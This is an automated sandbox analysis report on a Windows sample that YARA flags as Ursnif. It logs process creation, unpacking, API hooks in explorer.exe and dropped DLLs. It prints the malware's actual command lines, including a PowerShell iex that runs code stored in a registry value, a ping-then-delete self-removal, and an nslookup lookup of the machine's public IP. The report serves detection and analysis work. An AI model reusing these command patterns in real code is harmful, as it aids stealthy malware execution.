Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a4dqpwui.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3kd1hp5.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB1D.tmp" "c:\Users\user\AppData\Local\Temp\CSC8C8ABE1FEF4C478388BEE18242C93FA2.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1B0.tmp" "c:\Users\user\AppData\Local\Temp\CSCB9FFCE128DE8401581818FC38CDBD6E1.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\2GEg45PlG9.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\A402.bi1"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\A402.bi1"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_so4yl5bd.pgt.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D8F1B CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 1_2_020D8F1B
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{680AEB87-A7EA-DA67-711C-CBAE35102FC2}
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{4456758F-D36C-168C-7DB8-B7AA016CDB7E}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{749A14DC-4303-C6CF-6DE8-275AF19C4B2E}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7164:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:120:WilError_01
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Mutant created: \Sessions\1\BaseNamedObjects\{70FCE28B-0F65-220F-19A4-B3765D18970A}
Source: C:\Windows\SysWOW64\cmd.exe Mutant created: \Sessions\1\BaseNamedObjects\{FCB9F138-2BCD-8E80-95F0-8FA2992433F6}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2268:120:WilError_01
Source: C:\Users\user\Desktop\2GEg45PlG9.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\nslookup.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\nslookup.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: C:\Windows\explorer.exe File opened: C:\Windows\SYSTEM32\msftedit.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
Source: C:\Users\user\Desktop\2GEg45PlG9.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: 2GEg45PlG9.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\pipawakumep\xevonoxeye.pdb source: 2GEg45PlG9.exe, 00000001.00000000.293983515.0000000000418000.00000002.00020000.sdmp, 2GEg45PlG9.exe, 00000001.00000002.516515206.0000000000418000.00000002.00020000.sdmp
Source: Binary string: ntdll.pdb source: 2GEg45PlG9.exe, 00000001.00000003.464752274.0000000004110000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.459755637.0000000004110000.00000004.00000001.sdmp
Source: Binary string: ntdll.pdbUGP source: 2GEg45PlG9.exe, 00000001.00000003.464752274.0000000004110000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.459755637.0000000004110000.00000004.00000001.sdmp
Source: Binary string: )C:\pipawakumep\xevonoxeye.pdb = source: 2GEg45PlG9.exe, 00000001.00000000.293983515.0000000000418000.00000002.00020000.sdmp, 2GEg45PlG9.exe, 00000001.00000002.516515206.0000000000418000.00000002.00020000.sdmp

Data Obfuscation:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Unpacked PE file: 1.2.2GEg45PlG9.exe.400000.0.unpack
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Unpacked PE file: 1.2.2GEg45PlG9.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.bss:W;.rsrc:R;.reloc:R;
Suspicious powershell command line found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DAC00 push ecx; ret 1_2_020DAC09
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DE62F push edi; retf 1_2_020DE630
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DE9AC push 0B565A71h; ret 1_2_020DE9B1
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DAFAF push ecx; ret 1_2_020DAFBF
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007A2890 push ecx; ret 1_2_007A2899
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007A2D7B push ecx; ret 1_2_007A2D8B
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079FECD push ecx; mov dword ptr [esp], 00000002h 1_2_0079FECE
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00922890 push ecx; ret 44_2_00922899
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00922D7B push ecx; ret 44_2_00922D8B
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091FECD push ecx; mov dword ptr [esp], 00000002h 44_2_0091FECE
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401264 LoadLibraryA,GetProcAddress, 1_2_00401264
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a4dqpwui.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3kd1hp5.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a4dqpwui.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3kd1hp5.cmdline Jump to behavior
Source: initial sample Static PE information: section name: .text entropy: 7.56964472397

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\i3kd1hp5.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\a4dqpwui.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.399143772.000000000291C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346977655.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702102398.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702289385.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702177373.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346937674.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702063313.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702232762.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346992994.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346913060.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346959210.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702016813.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702206900.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.703676134.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.701957024.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.838458423.0000027741E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347006812.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347017616.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702145483.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2GEg45PlG9.exe PID: 6540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4768, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6576, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a994a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.2GEg45PlG9.exe.20d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000023.00000000.640272876.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.665585940.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.607122164.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397282239.0000000002A99000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.517379497.0000000002720000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.645879141.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.651725640.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.465481306.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.566373017.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.469185979.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.547994492.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.560669492.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.585352410.000002E0BE597000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.516035040.0000000002559000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.613095849.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.663821435.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.546791184.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.618879777.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.555920972.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.544941434.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397218720.0000000002A1A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661999238.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.466675811.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Hooks registry keys query functions (used to hide registry keys)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\2GEg45PlG9.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\2GEg45PlG9.exe
Modifies the export address table of user mode modules (user mode EAT hooks)
Source: explorer.exe IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFC8BAF521C
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00
Modifies the import address table of user mode modules (user mode IAT hooks)
Source: explorer.exe EAT of a user mode module has changed: module: WININET.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFC8BAF5200
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
